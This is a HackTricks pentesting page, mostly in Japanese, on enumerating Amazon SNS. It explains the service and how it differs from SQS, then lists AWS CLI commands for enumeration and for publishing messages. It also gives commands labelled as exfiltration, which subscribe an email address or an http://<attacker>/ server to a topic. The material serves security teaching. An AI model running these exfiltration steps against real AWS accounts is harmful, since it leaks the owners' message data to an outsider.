AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) は、フルマネージドメッセージングサービスとして説明されています。これは、アプリケーション間 (A2A) および アプリケーションから人 (A2P) への通信タイプの両方をサポートします。

A2A通信の主な機能には、パブリッシュ/サブスクライブ (pub/sub) メカニズムが含まれます。これらのメカニズムは、トピックを導入し、高スループットのプッシュベースの多対多メッセージングを可能にします。この機能は、分散システム、マイクロサービス、およびイベント駆動のサーバーレスアーキテクチャを含むシナリオで非常に有利です。これらのトピックを活用することで、パブリッシャーシステムは広範なサブスクライバーシステムに効率的にメッセージを配信し、ファンアウトメッセージングパターンを促進します。

SQSとの違い

SQS は、ポイントツーポイント通信を可能にするキューベースのサービスであり、メッセージが単一のコンシューマーによって処理されることを保証します。これは、少なくとも一度の配信を提供し、標準およびFIFOキューをサポートし、再試行および遅延処理のためのメッセージ保持を可能にします。 一方、SNS は、パブリッシュ/サブスクライブベースのサービスであり、メッセージを複数のサブスクライバーに同時にブロードキャストすることにより、一対多の通信を可能にします。これは、メール、SMS、Lambda関数、およびHTTP/HTTPSなどのさまざまなサブスクリプションエンドポイントをサポートし、ターゲットメッセージ配信のためのフィルタリングメカニズムを提供します。 両方のサービスは分散システム内のコンポーネント間のデカップリングを可能にしますが、SQSはキュー通信に焦点を当て、SNSはイベント駆動のファンアウト通信パターンを強調します。

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

トピックがFIFOタイプの場合、プロトコルSQSを使用するサブスクライバーのみが使用できます(HTTPまたはHTTPSは使用できません)。

また、--topic-arnにリージョンが含まれていても、**--region**に正しいリージョンを指定しないと、アクセス権がないことを示すエラーが発生しますが、問題はリージョンにあります。

認証されていないアクセス

AWS - SNS Unauthenticated Enum

権限昇格

AWS - SNS Privesc

ポストエクスプロイト

AWS - SNS Post Exploitation

永続性

AWS - SNS Persistence

参考文献

HackTricksをサポートする

Last updated